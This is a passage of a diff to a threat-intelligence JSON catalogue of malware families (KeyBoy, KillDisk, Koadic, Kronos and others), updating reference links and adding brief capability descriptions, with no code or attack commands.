"https://yoroi.company/research/financial-institutions-in-the-sight-of-new-jsoutprox-attack-waves/", - "https://www.fortinet.com/blog/threat-research/adversary-playbook-javascript-rat-looking-for-that-government-cheese", "https://blogs.quickheal.com/multi-staged-jsoutprox-rat-targets-indian-cooperative-banks-and-finance-companies/", - "https://www.seqrite.com/documents/en/white-papers/whitepaper-multi-staged-jsoutprox-rat-target-indian-co-operative-banks-and-finance-companies.pdf", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf" + "https://www.fortinet.com/blog/threat-research/adversary-playbook-javascript-rat-looking-for-that-government-cheese", + "https://blog.yoroi.company/research/unveiling-jsoutprox-a-new-enterprise-grade-implant/", + "https://yoroi.company/research/financial-institutions-in-the-sight-of-new-jsoutprox-attack-waves/", + "https://www.zscaler.com/blogs/research/targeted-attacks-indian-government-and-financial-institutions-using-jsoutprox-rat", + "https://www.seqrite.com/documents/en/white-papers/whitepaper-multi-staged-jsoutprox-rat-target-indian-co-operative-banks-and-finance-companies.pdf" ], "synonyms": [], "type": [] @@ -28075,19 +29676,19 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.jssloader", - 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"https://github.com/AmnestyTech/investigations/tree/master/2021-02-24_vietnam" + "https://unit42.paloaltonetworks.com/tracking-oceanlotus-new-downloader-kerrdown/", + "https://norfolkinfosec.com/jeshell-an-oceanlotus-apt32-backdoor/", + "https://www.secureworks.com/research/threat-profiles/tin-woodlawn", + "https://github.com/AmnestyTech/investigations/tree/master/2021-02-24_vietnam", + "https://blog.cystack.net/word-based-malware-attack/", + "https://tradahacking.vn/th%C6%B0%E1%BB%9Fng-t%E1%BA%BFt-fbcbbed49da7" ], "synonyms": [], "type": [] @@ -28398,9 +29997,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.ketrican", + "https://www.welivesecurity.com/2019/07/18/okrum-ke3chang-targets-diplomatic-missions/", "https://www.ptsecurity.com/ww-en/analytics/antisandbox-techniques/", "https://www.verfassungsschutz.de/embed/broschuere-2020-06-bfv-cyber-brief-2020-01.pdf", - "https://www.welivesecurity.com/2019/07/18/okrum-ke3chang-targets-diplomatic-missions/", "https://www.intezer.com/blog/research/the-evolution-of-apt15s-codebase-2020/" ], "synonyms": [], @@ -28427,13 +30026,13 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.keybase", - "https://www.virusbulletin.com/virusbulletin/2016/07/new-keylogger-block/", - "https://th3l4b.blogspot.com/2015/10/keybase-loggerclipboardcredsstealer.html", - "https://unit42.paloaltonetworks.com/keybase-threat-grows-despite-public-takedown-a-picture-is-worth-a-thousand-words/", - "https://isc.sans.edu/forums/diary/Malicious+Office+files+using+fileless+UAC+bypass+to+drop+KEYBASE+malware/22011/", "https://community.rsa.com/community/products/netwitness/blog/2018/02/15/malspam-delivers-keybase-keylogger-2-11-2017", - "https://unit42.paloaltonetworks.com/keybase-keylogger-malware-family-exposed/", - "https://voidsec.com/keybase-en/" + "https://th3l4b.blogspot.com/2015/10/keybase-loggerclipboardcredsstealer.html", + "https://isc.sans.edu/forums/diary/Malicious+Office+files+using+fileless+UAC+bypass+to+drop+KEYBASE+malware/22011/", + "https://www.virusbulletin.com/virusbulletin/2016/07/new-keylogger-block/", + "https://voidsec.com/keybase-en/", + "https://unit42.paloaltonetworks.com/keybase-threat-grows-despite-public-takedown-a-picture-is-worth-a-thousand-words/", + "https://unit42.paloaltonetworks.com/keybase-keylogger-malware-family-exposed/" ], "synonyms": [ "Kibex" @@ -28448,26 +30047,17 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.keyboy", + "https://blog.rapid7.com/2013/06/07/keyboy-targeted-attacks-against-vietnam-and-india/", + "https://www.pwc.co.uk/issues/cyber-security-data-privacy/research/the-keyboys-are-back-in-town.html", "https://www.secureworks.com/research/threat-profiles/bronze-hobart", "https://citizenlab.ca/2016/11/parliament-keyboy/", - "https://blog.rapid7.com/2013/06/07/keyboy-targeted-attacks-against-vietnam-and-india/", - "https://blog.trendmicro.com/trendlabs-security-intelligence/tropic-trooper-new-strategy/", - "https://www.pwc.co.uk/issues/cyber-security-data-privacy/research/the-keyboys-are-back-in-town.html" + "https://blog.trendmicro.com/trendlabs-security-intelligence/tropic-trooper-new-strategy/" ], "synonyms": [ "TSSL" ], "type": [] }, - "related": [ - { - "dest-uuid": "74167065-90b3-4c29-807a-79b6f098e45b", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "28c13455-7f95-40a5-9568-1e8732503507", "value": "KeyBoy" }, @@ -28476,9 +30066,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.keylogger_apt3", + "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong", "https://intrusiontruth.wordpress.com/2017/05/09/apt3-is-boyusec-a-chinese-intelligence-contractor/", - "https://twitter.com/smoothimpact/status/773631684038107136", - "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong" + "https://twitter.com/smoothimpact/status/773631684038107136" ], "synonyms": [], "type": [] @@ -28491,23 +30081,14 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.keymarble", - "https://blog.lexfo.fr/ressources/Lexfo-WhitePaper-The_Lazarus_Constellation.pdf", "https://www.us-cert.gov/ncas/analysis-reports/AR18-221A", - "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", - "https://research.checkpoint.com/north-korea-turns-against-russian-targets/" + "https://blog.lexfo.fr/ressources/Lexfo-WhitePaper-The_Lazarus_Constellation.pdf", + "https://research.checkpoint.com/north-korea-turns-against-russian-targets/", + "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf" ], "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "f7f53bb8-37ed-4bbe-9809-ca1594431536", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "0c213d7f-8c71-4341-aeb0-13be71fbf4e5", "value": "KEYMARBLE" }, @@ -28530,11 +30111,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.khonsari", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/log4j-vulnerabilities-attacks", - "https://www.cadosecurity.com/analysis-of-novel-khonsari-ransomware-deployed-by-the-log4shell-vulnerability/", + "https://cloudsek.com/technical-analysis-of-khonsari-ransomware-campaign-exploiting-the-log4shell-vulnerability/", "https://www.microsoft.com/security/blog/2021/12/11/guidance-for-preventing-detecting-and-hunting-for-cve-2021-44228-log4j-2-exploitation", - "https://assets.virustotal.com/reports/2021trends.pdf", - "https://cloudsek.com/technical-analysis-of-khonsari-ransomware-campaign-exploiting-the-log4shell-vulnerability/" + "https://www.cadosecurity.com/analysis-of-novel-khonsari-ransomware-deployed-by-the-log4shell-vulnerability/", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/log4j-vulnerabilities-attacks", + "https://assets.virustotal.com/reports/2021trends.pdf" ], "synonyms": [], "type": [] @@ -28543,27 +30124,18 @@ "value": "Khonsari" }, { - "description": "", + "description": "According to Unit42, KHRAT is a Trojan that registers victims using their infected machine’s username, system language and local IP address. KHRAT provides the threat actors typical RAT features and access to the victim system, including keylogging, screenshot capabilities, remote shell access and so on.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.khrat", "https://researchcenter.paloaltonetworks.com/2017/08/unit42-updated-khrat-malware-used-in-cambodia-attacks/", + "https://unit42.paloaltonetworks.com/atoms/rancortaurus/", "https://unit42.paloaltonetworks.com/rancor-cyber-espionage-group-uses-new-custom-malware-to-attack-southeast-asia/", - "https://www.forcepoint.com/de/blog/x-labs/trojanized-adobe-installer-used-install-dragonok-s-new-custom-backdoor", - "https://unit42.paloaltonetworks.com/atoms/rancortaurus/" + "https://www.forcepoint.com/de/blog/x-labs/trojanized-adobe-installer-used-install-dragonok-s-new-custom-backdoor" ], "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "72b702d9-43c3-40b9-b004-8d0671225fb8", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "361d3f09-8bc8-4b5a-803f-8686cf346047", "value": "KHRAT" }, @@ -28595,19 +30167,18 @@ "value": "KillAV" }, { - "description": "", + "description": "KillDisk is a generic detection name used by ESET to refer to destructive malware with disk wiping capabilities, such as damaging boot sectors and overwriting then deleting (system) files, followed by a reboot to render the machine unusable. Although all KillDisk malware has similar functionality, as a generic detection, individual samples do not necessarily have strong code similarities or relationships. Such generic malware detections usually have many “sub-families”, distinguished by the detection suffix (e.g. KillDisk.NBO, KillDisk.NCV, and KillDisk.NCX). Sub-family variants that do have strong code similarities, are sometimes seen in separate cyberattacks and thus can help researchers make connections between them. ", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.killdisk", - "http://www.welivesecurity.com/2016/12/13/rise-telebots-analyzing-disruptive-killdisk-attacks", + "https://www.secureworks.com/research/threat-profiles/iron-viking", "https://www.welivesecurity.com/2017/01/05/killdisk-now-targeting-linux-demands-250k-ransom-cant-decrypt", - "https://www.welivesecurity.com/2018/04/03/lazarus-killdisk-central-american-casino/", - "http://www.welivesecurity.com/2016/12/13/rise-telebots-analyzing-disruptive-killdisk-attacks/", "https://blog.nviso.eu/2022/02/24/threat-update-ukraine-russia-tensions/", + "https://www.youtube.com/watch?v=mrTdSdMMgnk", + "http://www.welivesecurity.com/2016/12/13/rise-telebots-analyzing-disruptive-killdisk-attacks/", + "http://www.welivesecurity.com/2016/12/13/rise-telebots-analyzing-disruptive-killdisk-attacks", "https://www.crowdstrike.com/blog/the-anatomy-of-wiper-malware-part-1/", - "https://attack.mitre.org/groups/G0034", - "https://blog.trendmicro.com/trendlabs-security-intelligence/new-killdisk-variant-hits-financial-organizations-in-latin-america/", - "https://www.secureworks.com/research/threat-profiles/iron-viking" + "https://attack.mitre.org/groups/G0034" ], "synonyms": [], "type": [] @@ -28638,15 +30209,6 @@ "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "3160f772-d458-4bff-970c-1c0431238803", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "61edd17b-322d-45dc-a6a0-31c13ec2338e", "value": "KimJongRat" }, @@ -28655,19 +30217,22 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.kimsuky", - "https://blog.lexfo.fr/ressources/Lexfo-WhitePaper-The_Lazarus_Constellation.pdf", "https://metaswan.github.io/posts/Malware-Kimsuky-group's-resume-impersonation-malware", - "https://threatconnect.com/blog/threatconnect-research-roundup-probable-sandworm-infrastructure", + "https://www.pwc.co.uk/issues/cyber-security-data-privacy/research/tracking-kimsuky-north-korea-based-cyber-espionage-group-part-1.html", + "https://www.virusbulletin.com/virusbulletin/2020/03/vb2019-paper-kimsuky-group-tracking-king-spearphishing/", "https://www.boho.or.kr/filedownload.do?attach_file_seq=2652&attach_file_id=EpF2652.pdf", + "https://cocomelonc.github.io/tutorial/2022/04/20/malware-pers-1.html", + "https://vblocalhost.com/presentations/operation-newton-hi-kimsuky-did-an-appleseed-really-fall-on-newtons-head/", + "https://www.virusbulletin.com/uploads/pdf/conference_slides/2019/VB2019-Kim.pdf", "https://blog.prevailion.com/2019/09/autumn-aperture-report.html", "https://asec.ahnlab.com/en/37396/", - "https://vblocalhost.com/presentations/operation-newton-hi-kimsuky-did-an-appleseed-really-fall-on-newtons-head/", - "https://www.virusbulletin.com/virusbulletin/2020/03/vb2019-paper-kimsuky-group-tracking-king-spearphishing/", - "https://inquest.net/blog/2021/08/23/kimsuky-espionage-campaign", - "https://www.virusbulletin.com/uploads/pdf/conference_slides/2019/VB2019-Kim.pdf", "https://blog.alyac.co.kr/2347", - "https://www.pwc.co.uk/issues/cyber-security-data-privacy/research/tracking-kimsuky-north-korea-based-cyber-espionage-group-part-1.html", - "https://asec.ahnlab.com/en/30532/" + "https://asec.ahnlab.com/en/30532/", + "https://blog.lexfo.fr/ressources/Lexfo-WhitePaper-The_Lazarus_Constellation.pdf", + "https://medium.com/walmartglobaltech/pivoting-on-a-sharpext-to-profile-kimusky-panels-for-great-good-1920dc1bcef9", + "https://threatconnect.com/blog/threatconnect-research-roundup-probable-sandworm-infrastructure", + "https://inquest.net/blog/2021/08/23/kimsuky-espionage-campaign", + "https://cocomelonc.github.io/malware/2022/08/26/malware-pers-9.html" ], "synonyms": [], "type": [] @@ -28680,25 +30245,16 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.kingminer", - "https://news.sophos.com/en-us/2020/06/09/kingminer-report/", - "https://asec.ahnlab.com/en/32572/", "https://www.bitdefender.com/files/News/CaseStudies/study/354/Bitdefender-PR-Whitepaper-KingMiner-creat4610-en-EN-GenericUse.pdf", - "https://www.bleepingcomputer.com/news/security/vulnerable-microsoft-sql-servers-targeted-with-cobalt-strike/", "https://www.sophos.com/en-us/medialibrary/PDFs/technical-papers/sophos-labs-kingminer-botnet-report.pdf", - "https://www.trendmicro.com/en_us/research/22/e/uncovering-a-kingminer-botnet-attack-using-trend-micro-managed-x.html" + "https://www.bleepingcomputer.com/news/security/vulnerable-microsoft-sql-servers-targeted-with-cobalt-strike/", + "https://www.trendmicro.com/en_us/research/22/e/uncovering-a-kingminer-botnet-attack-using-trend-micro-managed-x.html", + "https://news.sophos.com/en-us/2020/06/09/kingminer-report/", + "https://asec.ahnlab.com/en/32572/" ], "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "a9467439-48d8-4f68-9519-560bb6430f0c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "04d95343-fd44-471d-bfe7-908994a98ea7", "value": "Kingminer" }, @@ -28707,9 +30263,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.kins", - "https://github.com/nyx0/KINS", - "https://blog.malwarebytes.com/threat-analysis/2014/02/hiding-in-plain-sight-a-story-about-a-sneaky-banking-trojan/", "https://www.vkremez.com/2018/10/lets-learn-exploring-zeusvm-banking.html", + "https://blog.malwarebytes.com/threat-analysis/2014/02/hiding-in-plain-sight-a-story-about-a-sneaky-banking-trojan/", + "https://github.com/nyx0/KINS", "https://securityintelligence.com/zeus-maple-variant-targets-canadian-online-banking-customers/" ], "synonyms": [ @@ -28727,8 +30283,8 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.kivars", "https://www.trendmicro.com/en_us/research/17/f/following-trail-blacktech-cyber-espionage-campaigns.html", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/palmerworm-blacktech-espionage-apt", - "https://blog.trendmicro.com/trendlabs-security-intelligence/kivars-with-venom-targeted-attacks-upgrade-with-64-bit-support/" + "https://blog.trendmicro.com/trendlabs-security-intelligence/kivars-with-venom-targeted-attacks-upgrade-with-64-bit-support/", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/palmerworm-blacktech-espionage-apt" ], "synonyms": [], "type": [] @@ -28782,8 +30338,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.klrd", - "https://www.symantec.com/connect/blogs/odinaff-new-trojan-used-high-level-financial-attacks", - "https://securitykitten.github.io/2016/11/28/the-klrd-keylogger.html" + "https://securitykitten.github.io/2016/11/28/the-klrd-keylogger.html", + "https://www.symantec.com/connect/blogs/odinaff-new-trojan-used-high-level-financial-attacks" ], "synonyms": [], "type": [] @@ -28805,38 +30361,42 @@ "value": "Knot" }, { - "description": "", + "description": "Koadic is a Windows post-exploitation framework and penetration testing tool that is publicly available on GitHub. Koadic has several options for staging payloads and creating implants, and performs most of its operations using Windows Script Host.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.koadic", - "https://cdn-cybersecurity.att.com/docs/global-perspective-of-the-sidewinder-apt.pdf", - "https://resources.malwarebytes.com/files/2021/02/LazyScripter.pdf", - "https://www.secureworks.com/research/threat-profiles/cobalt-ulster", - "https://researchcenter.paloaltonetworks.com/2018/06/unit42-sofacy-groups-parallel-attacks/", - "https://www.secureworks.com/research/threat-profiles/gold-drake", - "https://blog.tofile.dev/2020/11/28/koadic_jarm.html", - "https://www.secureworks.com/research/threat-profiles/cobalt-trinity", - "http://www.secureworks.com/research/threat-profiles/cobalt-ulster", "https://github.com/zerosum0x0/koadic", - "http://www.secureworks.com/research/threat-profiles/gold-drake", + "http://www.secureworks.com/research/threat-profiles/cobalt-ulster", + "https://www.secureworks.com/research/threat-profiles/gold-drake", "https://labs.bitdefender.com/2020/03/5-times-more-coronavirus-themed-malware-reports-during-march/?utm_campaign=twitter&utm_medium=twitter&utm_source=twitter", - "https://www.prodaft.com/m/uploads/SilverFish_TLPWHITE.pdf" + "https://resources.malwarebytes.com/files/2021/02/LazyScripter.pdf", + "https://www.secureworks.com/research/threat-profiles/cobalt-trinity", + "https://cdn-cybersecurity.att.com/docs/global-perspective-of-the-sidewinder-apt.pdf", + "https://researchcenter.paloaltonetworks.com/2018/06/unit42-sofacy-groups-parallel-attacks/", + "https://www.secureworks.com/research/threat-profiles/cobalt-ulster", + "http://www.secureworks.com/research/threat-profiles/gold-drake", + "https://www.prodaft.com/m/uploads/SilverFish_TLPWHITE.pdf", + "https://blog.tofile.dev/2020/11/28/koadic_jarm.html" ], "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "f9e0b922-253c-40fa-a6d2-e60ec9c6980b", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "3b5faa15-e87e-4aaf-b791-2c5e593793e6", "value": "Koadic" }, + { + "description": "A loader written in .NET.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.koivm", + "https://labs.k7computing.com/index.php/koivm-loader-resurfaces-with-a-bang/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "4b7c6af1-1980-452f-9405-e42d0066ff2d", + "value": "KoiVM" + }, { "description": "", "meta": { @@ -28855,10 +30415,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.komprogo", - "https://www.cylance.com/content/dam/cylance-web/en-us/resources/knowledge-center/resource-library/reports/SpyRATsofOceanLotusMalwareWhitePaper.pdf", - "https://ruxcon.org.au/assets/2017/slides/bart-RuxCon-Presentation.pptx", "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html", - "https://www.symantec.com/security_response/earthlink_writeup.jsp?docid=2015-120808-5327-99" + "https://ruxcon.org.au/assets/2017/slides/bart-RuxCon-Presentation.pptx", + "https://www.symantec.com/security_response/earthlink_writeup.jsp?docid=2015-120808-5327-99", + "https://www.cylance.com/content/dam/cylance-web/en-us/resources/knowledge-center/resource-library/reports/SpyRATsofOceanLotusMalwareWhitePaper.pdf" ], "synonyms": [ "Splinter RAT" @@ -28873,35 +30433,29 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.konni", - "https://medium.com/d-hunter/a-look-into-konni-2019-campaign-b45a0f321e9b", - "https://www.bleepingcomputer.com/news/security/hackers-take-over-diplomats-email-target-russian-deputy-minister/", "https://blog.malwarebytes.com/threat-intelligence/2021/08/new-variant-of-konni-malware-used-in-campaign-targetting-russia/", - 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"https://us-cert.cisa.gov/ncas/alerts/aa20-345a", - "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/kovter-an-evolving-malware-gone-fileless" + "https://blog.malwarebytes.com/threat-analysis/2015/01/major-malvertising-campaign-hits-sites-with-combined-total-monthly-traffic-of-1-5bn-visitors/", + "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/evolution-of-malware-sandbox-evasion-tactics-a-retrospective-study/", + "https://github.com/itaymigdal/malware-analysis-writeups/blob/main/Kovter/Kovter.md", + "https://www.symantec.com/connect/blogs/kovter-malware-learns-poweliks-persistent-fileless-registry-update", + "https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/evolution-of-malware-sandbox-evasion-tactics-a-retrospective-study/", + "https://0xchrollo.github.io/articles/unpacking-kovter-malware/", + "https://github.com/ewhitehats/kovterTools/blob/master/KovterWhitepaper.pdf", + "https://us-cert.cisa.gov/ncas/alerts/aa20-345a" ], "synonyms": [], "type": [] @@ -28980,19 +30534,19 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.kpot_stealer", - "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/paas-or-how-hackers-evade-antivirus-software/", - "https://isc.sans.edu/diary/26010", - "https://news.drweb.com/show/?i=13242&lng=en", - "https://www.flashpoint-intel.com/blog/malware-campaign-targets-jaxx-cryptocurrency-wallet-users/", - "https://isc.sans.edu/diary/25934", - "https://blog.ensilo.com/game-of-trojans-dissecting-khalesi-infostealer-malware", - "https://medium.com/s2wlab/deep-analysis-of-kpot-stealer-fb1d2be9c5dd", "https://umbrella.cisco.com/blog/navigating-cybersecurity-during-a-pandemic-latest-malware-and-threat-actors", - "https://www.spamhaus.org/news/images/botnet-report-2020-q2/2020-q2-spamhaus-botnet-threat-report.pdf", + "https://github.com/Dump-GUY/Malware-analysis-and-Reverse-engineering/blob/main/kpot2/KPOT.md", + "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/paas-or-how-hackers-evade-antivirus-software/", + "https://medium.com/s2wlab/deep-analysis-of-kpot-stealer-fb1d2be9c5dd", + "https://isc.sans.edu/diary/26010", + "https://www.flashpoint-intel.com/blog/malware-campaign-targets-jaxx-cryptocurrency-wallet-users/", "https://www.zdnet.com/article/revil-ransomware-gang-acquires-kpot-malware/", + "https://isc.sans.edu/diary/25934", "https://www.proofpoint.com/us/threat-insight/post/new-kpot-v20-stealer-brings-zero-persistence-and-memory-features-silently-steal", + "https://blog.ensilo.com/game-of-trojans-dissecting-khalesi-infostealer-malware", "https://blag.nullteilerfrei.de/2020/04/26/use-ghidra-to-decrypt-strings-of-kpotstealer-malware/", - "https://github.com/Dump-GUY/Malware-analysis-and-Reverse-engineering/blob/main/kpot2/KPOT.md" + "https://www.spamhaus.org/news/images/botnet-report-2020-q2/2020-q2-spamhaus-botnet-threat-report.pdf", + "https://news.drweb.com/show/?i=13242&lng=en" ], "synonyms": [ "Khalesi", @@ -29021,10 +30575,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.kraken", + "https://securingtomorrow.mcafee.com/mcafee-labs/fallout-exploit-kit-releases-the-kraken-ransomware-on-its-victims/", "https://web.archive.org/web/20160616170611/https://media.blackhat.com/bh-eu-10/presentations/Carrera_Silberman/BlackHat-EU-2010-Carrera-Silberman-State-of-Malware-slides.pdf", - "https://www.recordedfuture.com/kraken-cryptor-ransomware/", "https://www.bleepingcomputer.com/news/security/kraken-cryptor-ransomware-masquerading-as-superantispyware-security-program/", - "https://securingtomorrow.mcafee.com/mcafee-labs/fallout-exploit-kit-releases-the-kraken-ransomware-on-its-victims/" + "https://www.recordedfuture.com/kraken-cryptor-ransomware/" ], "synonyms": [], "type": [] @@ -29033,13 +30587,14 @@ "value": "Kraken" }, { - "description": "", + "description": "ThreatPost describes KRBanker (Blackmoon) as a banking Trojan designed to steal user credentials from various South Korean banking institutions. It was discovered in early 2014 and since then has adopted a variety of infection and credential stealing techniques.\r\n\r\n", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.krbanker", - "https://www.peppermalware.com/2019/03/analysis-of-blackmoon-banking-trojans.html", - "https://zairon.wordpress.com/2014/04/15/trojan-banking-47d18761d46d8e7c4ad49cc575b0acc2bb3f49bb56a3d29fb1ec600447cb89a4/", "http://researchcenter.paloaltonetworks.com/2016/05/unit42-krbanker-targets-south-korea-through-adware-and-exploit-kits-2/", + "https://fidelissecurity.com/threatgeek/threat-intelligence/blackmoon-banking-trojan-new-framework/", + "https://zairon.wordpress.com/2014/04/15/trojan-banking-47d18761d46d8e7c4ad49cc575b0acc2bb3f49bb56a3d29fb1ec600447cb89a4/", + "https://www.peppermalware.com/2019/03/analysis-of-blackmoon-banking-trojans.html", "https://www.proofpoint.com/us/threat-insight/post/Updated-Blackmoon-Banking-Trojan" ], "synonyms": [ @@ -29067,25 +30622,26 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.kronos", - "https://blog.malwarebytes.com/threat-analysis/2016/10/new-looking-sundown-ek-drops-smoke-loader-kronos-banker/", - "https://blog.morphisec.com/long-live-osiris-banking-trojan-targets-german-ip-addresses", - "https://www.zdnet.com/article/security-researcher-malwaretech-pleads-guilty/", - "https://securityintelligence.com/the-father-of-zeus-kronos-malware-discovered/", - "https://dissectingmalwa.re/osiris-the-god-of-afterlifeand-banking-malware.html", - "https://vx-underground.org/archive/APTs/2017/2017.12.11/Money%20Taker.pdf", - "https://blog.malwarebytes.com/cybercrime/2017/08/inside-kronos-malware/", - "https://blog.trendmicro.com/trendlabs-security-intelligence/operation-black-atlas-endangers-in-store-card-payments-and-smbs-worldwide-switches-between-blackpos-and-other-tools/", - "https://www.zscaler.com/blogs/security-research/ares-malware-grandson-kronos-banking-trojan", - "https://twitter.com/3xp0rtblog/status/1294157781415743488", - "https://www.f5.com/labs/articles/education/banking-trojans-a-reference-guide-to-the-malware-family-tree", - "https://www.proofpoint.com/us/threat-insight/post/kronos-banking-trojan-used-to-deliver-new-point-of-sale-malware", - "https://www.securonix.com/securonix-threat-research-kronos-osiris-banking-trojan-attack", - "https://intel471.com/blog/privateloader-malware", - "https://blog.malwarebytes.com/cybercrime/2017/08/inside-kronos-malware-p2/", "https://www.trendmicro.com/en_us/research/22/g/gootkit-loaders-updated-tactics-and-fileless-delivery-of-cobalt-strike.html", + "https://www.securonix.com/securonix-threat-research-kronos-osiris-banking-trojan-attack", + "https://dissectingmalwa.re/osiris-the-god-of-afterlifeand-banking-malware.html", + "https://intel471.com/blog/privateloader-malware", "https://research.checkpoint.com/deep-dive-upas-kit-vs-kronos/", + "https://www.proofpoint.com/us/threat-insight/post/kronos-banking-trojan-used-to-deliver-new-point-of-sale-malware", + "https://www.zdnet.com/article/security-researcher-malwaretech-pleads-guilty/", + "https://blog.malwarebytes.com/cybercrime/2017/08/inside-kronos-malware-p2/", + "https://blog.malwarebytes.com/threat-analysis/2016/10/new-looking-sundown-ek-drops-smoke-loader-kronos-banker/", + "https://unit42.paloaltonetworks.com/banking-trojan-techniques/", + "https://www.f5.com/labs/articles/education/banking-trojans-a-reference-guide-to-the-malware-family-tree", + "https://www.proofpoint.com/us/threat-insight/post/kronos-reborn", + "https://www.zscaler.com/blogs/security-research/ares-malware-grandson-kronos-banking-trojan", + "https://blog.malwarebytes.com/cybercrime/2017/08/inside-kronos-malware/", "https://therecord.media/osiris-banking-trojan-shuts-down-as-new-ares-variant-emerges/", - "https://www.proofpoint.com/us/threat-insight/post/kronos-reborn" + "https://blog.trendmicro.com/trendlabs-security-intelligence/operation-black-atlas-endangers-in-store-card-payments-and-smbs-worldwide-switches-between-blackpos-and-other-tools/", + "https://vx-underground.org/archive/APTs/2017/2017.12.11/Money%20Taker.pdf", + "https://blog.morphisec.com/long-live-osiris-banking-trojan-targets-german-ip-addresses", + "https://twitter.com/3xp0rtblog/status/1294157781415743488", + "https://securityintelligence.com/the-father-of-zeus-kronos-malware-discovered/" ], "synonyms": [ "Osiris" @@ -29113,8 +30669,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.ksl0t", - "https://0ffset.wordpress.com/2018/10/05/post-0x17-2-turla-keylogger/", "https://0ffset.net/reverse-engineering/malware-analysis/analyzing-turlas-keylogger-1/", + "https://0ffset.wordpress.com/2018/10/05/post-0x17-2-turla-keylogger/", "https://0ffset.net/reverse-engineering/malware-analysis/analyzing-turlas-keylogger-2/" ], "synonyms": [], @@ -29161,15 +30717,6 @@ "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "616c7c32-110e-4bb3-8e99-4c2aeb8f8272", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "1fc49b8c-647a-4484-a2f6-e6f2311f8b58", "value": "Kurton" }, @@ -29191,41 +30738,46 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.kwampirs", - "https://www.zdnet.com/article/fbi-re-sends-alert-about-supply-chain-attacks-for-the-third-time-in-three-months/", - "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-2021-threat-report.pdf", - "https://www.atlanticcouncil.org/wp-content/uploads/2020/07/Breaking-trust-Shades-of-crisis-across-an-insecure-software-supply-chain.pdf", - "https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia", "https://resources.cylera.com/new-evidence-linking-kwampirs-malware-to-shamoon-apts", "https://blog.reversinglabs.com/blog/unpacking-kwampirs-rat", - "https://resources.cylera.com/hubfs/Cylera%20Labs/Cylera%20Labs%20Kwampirs%20Shamoon%20Technical%20Report.pdf", "http://www.documentcloud.org/documents/6821581-FLASH-CP-000111-MW-Downgraded-Version.html", + "https://resources.cylera.com/hubfs/Cylera%20Labs/Cylera%20Labs%20Kwampirs%20Shamoon%20Technical%20Report.pdf", + "https://thehackernews.com/2022/03/researchers-find-new-evidence-linking.html", "https://www.securityartwork.es/2019/03/13/orangeworm-group-kwampirs-analysis-update/", - 